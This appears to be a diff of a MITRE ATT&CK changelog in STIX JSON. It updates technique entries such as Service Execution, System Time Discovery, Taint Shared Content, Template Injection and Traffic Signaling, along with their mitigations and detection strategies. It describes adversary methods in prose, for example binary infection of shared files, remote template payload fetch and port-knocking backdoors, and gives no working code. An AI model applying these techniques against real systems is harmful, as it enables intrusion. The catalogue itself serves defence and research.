+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Service: Service Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.098000+00:00\", \"old_value\": \"2025-04-15 19:58:46.562000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n\\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n\\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n-\\n-Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n-\\n-When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0265: Detection Strategy for System Services: Launchctl"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-10 18:33:36.159000+00:00",
+ "modified": "2025-10-24 17:49:35.506000+00:00",
+ "name": "Service Execution",
+ "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1569/002",
+ "external_id": "T1569.002"
+ },
+ {
+ "source_name": "Microsoft Service Control Manager",
+ "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.",
+ "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager"
+ },
+ {
+ "source_name": "Russinovich Sysinternals",
+ "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.506000+00:00\", \"old_value\": \"2025-04-15 19:59:20.444000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0421: Detection Strategy for System Services Service Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:37.450000+00:00",
+ "modified": "2025-10-24 17:49:36.399000+00:00",
+ "name": "System Time Discovery",
+ "description": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as GetTickCount() to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) On ESXi servers, `esxcli system clock get` can be used for the same purpose.\n\nIn addition, system calls \u2013 such as time() \u2013 have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as systemsetup -gettimezone or timeIntervalSinceNow to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1124",
+ "external_id": "T1124"
+ },
+ {
+ "source_name": "systemsetup mac time",
+ "description": "Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.",
+ "url": "https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac"
+ },
+ {
+ "source_name": "linux system time",
+ "description": "ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.",
+ "url": "https://wiki.archlinux.org/title/System_time"
+ },
+ {
+ "source_name": "MAGNET GOBLIN",
+ "description": "Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.",
+ "url": "https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"
+ },
+ {
+ "source_name": "show_clock_detail_cisco_cmd",
+ "description": "Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674"
+ },
+ {
+ "source_name": "Mac Time Sync",
+ "description": "Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.",
+ "url": "https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/"
+ },
+ {
+ "source_name": "ESET DazzleSpy Jan 2022",
+ "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.",
+ "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"
+ },
+ {
+ "source_name": "AnyRun TimeBomb",
+ "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.",
+ "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/"
+ },
+ {
+ "source_name": "Technet Windows Time Service",
+ "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
+ "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings"
+ },
+ {
+ "source_name": "MSDN System Time",
+ "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
+ "url": "https://msdn.microsoft.com/ms724961.aspx"
+ },
+ {
+ "source_name": "RSA EU12 They're Inside",
+ "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
+ "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf"
+ },
+ {
+ "source_name": "System Information Discovery Technique",
+ "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.",
+ "url": "https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082"
+ },
+ {
+ "source_name": "Virtualization/Sandbox Evasion",
+ "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.",
+ "url": "https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "FIRST.ORG's Cyber Threat Intelligence SIG",
+ "Austin Clark, @c2defense"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": false,
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+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
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+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.399000+00:00\", \"old_value\": \"2025-04-15 19:59:21.176000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\\n\\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
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+ "new": [],
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+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0151: Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:01.759000+00:00",
+ "modified": "2025-10-24 17:48:32.156000+00:00",
+ "name": "Taint Shared Content",
+ "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
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+ "url": "https://attack.mitre.org/techniques/T1080",
+ "external_id": "T1080"
+ },
+ {
+ "source_name": "Retwin Directory Share Pivot",
+ "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
+ "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
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+ "x_mitre_platforms": [
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+ "SaaS",
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+ "M1038: Execution Prevention",
+ "M1049: Antivirus/Antimalware",
+ "M1050: Exploit Protection"
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+ "shared": [],
+ "new": [
+ "DET0471: Detection of Tainted Content Written to Shared Storage"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-10-17 00:14:20.652000+00:00",
+ "modified": "2025-10-24 17:49:28.862000+00:00",
+ "name": "Template Injection",
+ "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1221",
+ "external_id": "T1221"
+ },
+ {
+ "source_name": "Microsoft Open XML July 2017",
+ "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
+ "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
+ },
+ {
+ "source_name": "SANS Brian Wiltse Template Injection",
+ "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
+ "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
+ },
+ {
+ "source_name": "Redxorblue Remote Template Injection",
+ "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
+ "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
+ },
+ {
+ "source_name": "MalwareBytes Template Injection OCT 2017",
+ "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
+ },
+ {
+ "source_name": "Proofpoint RTF Injection",
+ "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
+ "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
+ },
+ {
+ "source_name": "Ciberseguridad Decoding malicious RTF files",
+ "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
+ "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
+ },
+ {
+ "source_name": "Anomali Template Injection MAR 2018",
+ "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
+ "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
+ },
+ {
+ "source_name": "Talos Template Injection July 2017",
+ "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
+ "url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
+ },
+ {
+ "source_name": "ryhanson phishery SEPT 2016",
+ "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
+ "url": "https://github.com/ryhanson/phishery"
+ }
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+ "Brian Wiltse @evalstrings",
+ "Patrick Campbell, @pjcampbe11"
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+ "x_mitre_deprecated": false,
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+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.4",
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+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1031: Network Intrusion Prevention",
+ "M1042: Disable or Remove Feature or Program",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
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+ },
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+ "DS0009: Process (Process Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0566: Template Injection Detection - Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:48:43.225000+00:00",
+ "name": "Traffic Signaling",
+ "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1205",
+ "external_id": "T1205"
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+ {
+ "source_name": "Bleeping Computer - Ryuk WoL",
+ "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.",
+ "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"
+ },
+ {
+ "source_name": "AMD Magic Packet",
+ "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.",
+ "url": "https://www.amd.com/system/files/TechDocs/20213.pdf"
+ },
+ {
+ "source_name": "Mandiant - Synful Knock",
+ "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
+ },
+ {
+ "source_name": "Cisco Synful Knock Evolution",
+ "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
+ "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
+ },
+ {
+ "source_name": "Hartrell cd00r 2002",
+ "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
+ "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "GitLab WakeOnLAN",
+ "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.",
+ "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN"
+ }
+ ],
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+ "Tony Lee",
+ "Josh Day, Gigamon"
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+ "x_mitre_platforms": [
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+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "2.5",
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+ "dropped": []
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+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "external_id": "T1205.001"
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+ "source_name": "Hartrell cd00r 2002",
+ "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
+ "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
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+ "x_mitre_detection": "",
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+ "macOS",
+ "Windows",
+ "Network Devices"
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+ "M1037: Filter Network Traffic"
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+ "url": "https://attack.mitre.org/techniques/T1205/002",
+ "external_id": "T1205.002"
+ },
+ {
+ "source_name": "exatrack bpf filters passive backdoors",
+ "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
+ "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
+ },
+ {
+ "source_name": "crowdstrike bpf socket filters",
+ "description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.",
+ "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"
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+ "source_name": "Leonardo Turla Penquin May 2020",
+ "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.",
+ "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
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+ "source_name": "haking9 libpcap network sniffing",
+ "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
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+ "DET0162: Socket-filter trigger \u2192 on-host raw-socket activity \u2192 reverse connection (T1205.002)"
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+ "type": "attack-pattern",
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+ "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.",
+ "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"
+ },
+ {
+ "source_name": "TLDRSec AWS Attacks",
+ "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.",
+ "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks"
+ },
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+ "source_name": "Azure Shared Access Signature",
+ "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.",
+ "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"
+ },
+ {
+ "source_name": "Azure Blob Snapshots",
+ "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.",
+ "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"
+ },
+ {
+ "source_name": "Microsoft Azure Storage Shared Access Signature",
+ "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.",
+ "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"
+ },
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+ "source_name": "DOJ GRU Indictment Jul 2018",
+ "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
